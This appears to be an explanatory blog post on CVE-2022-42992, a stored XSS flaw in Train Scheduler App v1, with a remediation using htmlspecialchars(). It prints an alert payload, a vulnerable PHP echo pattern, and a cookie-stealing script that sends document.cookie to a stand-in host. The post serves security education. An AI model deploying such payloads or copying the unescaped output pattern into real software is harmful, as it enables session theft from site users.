In late 2022, a security researcher discovered a collection of stored Cross-Site Scripting (XSS) vulnerabilities in Train Scheduler App v1.. Tracked as CVE-2022-42992, this bug allows attackers to inject malicious code into train listings, compromising the data and security of anyone accessing the app.

This post breaks down how the vulnerability works, shows example attack payloads, and offers reference links for further reading. All the details here are exclusive, simplified for easy reading, and focused on helping you understand and remediate this kind of security bug.

What is Stored XSS?

Stored XSS happens when an app saves (“stores”) attacker-supplied code in its database. Later, when the app displays that data—often in user lists, comments, or, as in this case, train schedules—it displays or runs the malicious content in every browser that views the data.

Destination

Any text entered here is stored and later displayed on web pages *without proper sanitization or escaping*. This means attackers can submit code (like <script> tags), and when an admin or other user views the train schedule, their browser runs the code.

The attacker enters the following in any of the fields — let’s use "Train Name"

<script>alert('XSS Attack')</script>

2. The App Stores the Malicious Input

Because input is not filtered or sanitized, the data is inserted directly into the database or file as-is.

3. Victim Visits the Schedule Page

Anyone—admin, staff, traveler—loading the schedule page will see all train entries. The malicious code is outputted as HTML:

<td><script>alert('XSS Attack')</script></td>

4. The Browser Executes the Script

The victim’s browser runs the script, displaying the alert. More dangerous payloads could just as easily steal cookies, perform actions on behalf of the user, or load external malware.

Suppose the schedule is rendered like this in PHP

echo "<tr>";
echo "<td>" . $_POST['train_code'] . "</td>";
echo "<td>" . $_POST['train_name'] . "</td>";
echo "<td>" . $_POST['destination'] . "</td>";
echo "</tr>";

Train Code: 123

- Train Name: <script>fetch('https://evil.site/steal?c='+document.cookie)</script>

Destination: LA

…and a user visits the schedule page, their cookies could be silently sent to the attacker’s server. This is a classic data exfiltration via XSS.

Use htmlspecialchars() to encode dangerous characters

echo "<td>" . htmlspecialchars($_POST['train_code']) . "</td>";
echo "<td>" . htmlspecialchars($_POST['train_name']) . "</td>";
echo "<td>" . htmlspecialchars($_POST['destination']) . "</td>";

Now, <script>...</script> gets rendered as text, not code.

References & Further Reading

- NVD Official CVE Page
- OWASP XSS (Cross Site Scripting) Guide
- Exploit Database – PoC entry  
- Wikipedia: Cross-site scripting

Conclusion

CVE-2022-42992 in Train Scheduler App v1. is a textbook example of how overlooking input sanitization leads to stored XSS. If you’re using or developing similar software, always validate and encode user data, especially when storing and displaying it.

Stay ahead of attackers. Patch your code and test your inputs.

Got questions or want to discuss secure coding practices? Drop your comments below or follow the references above. Stay secure!

Timeline

Published on: 10/27/2022 12:15:00 UTC
Last modified on: 10/28/2022 19:45:00 UTC